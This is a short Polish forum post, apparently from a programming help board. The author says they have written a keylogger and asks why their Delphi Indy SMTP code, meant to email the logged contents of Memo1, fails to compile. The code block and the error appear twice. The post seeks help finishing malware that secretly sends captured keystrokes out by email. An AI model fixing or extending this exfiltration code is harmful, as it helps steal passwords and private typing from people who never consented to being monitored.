Napisałem sobie taki prograik (keylogger) i chcę aby przesyłał to co jest w Memo1 na maila. Mam taki kod:
IdMessage1.Body.Append := 'Memo1';
IdMessage1.Recipients.EMailAddresses := 'ciach';
IdMessage1.From.name:= 'od Franka';
IdMessage1.Subject := 'TEMAT';
idSMTP1.Password := 'ciach';
idSMTP1.Username := 'ciach';
idSMTP1.Host := 'smpt.wp.pl';
IdSMTP1.AuthenticationType:= atLogin;
IdSMTP1.Connect;
try
IdSMTP1.Send(IdMessage1);
finally
IdSMTP1.Disconnect;
end;
No i program się niekompiluje wyskauje "[Error] evulkey.pas(57): Not enough actual parameters"
Proszę o pomoc.
IdMessage1.Body.Append := 'Memo1';
IdMessage1.Recipients.EMailAddresses := 'ciach';
IdMessage1.From.name:= 'od Franka';
IdMessage1.Subject := 'TEMAT';
idSMTP1.Password := 'ciach';
idSMTP1.Username := 'ciach';
idSMTP1.Host := 'smpt.wp.pl';
IdSMTP1.AuthenticationType:= atLogin;
IdSMTP1.Connect;
try
IdSMTP1.Send(IdMessage1);
finally
IdSMTP1.Disconnect;
end;
No i program się niekompiluje wyskauje "[Error] evulkey.pas(57): Not enough actual parameters"
Proszę o pomoc.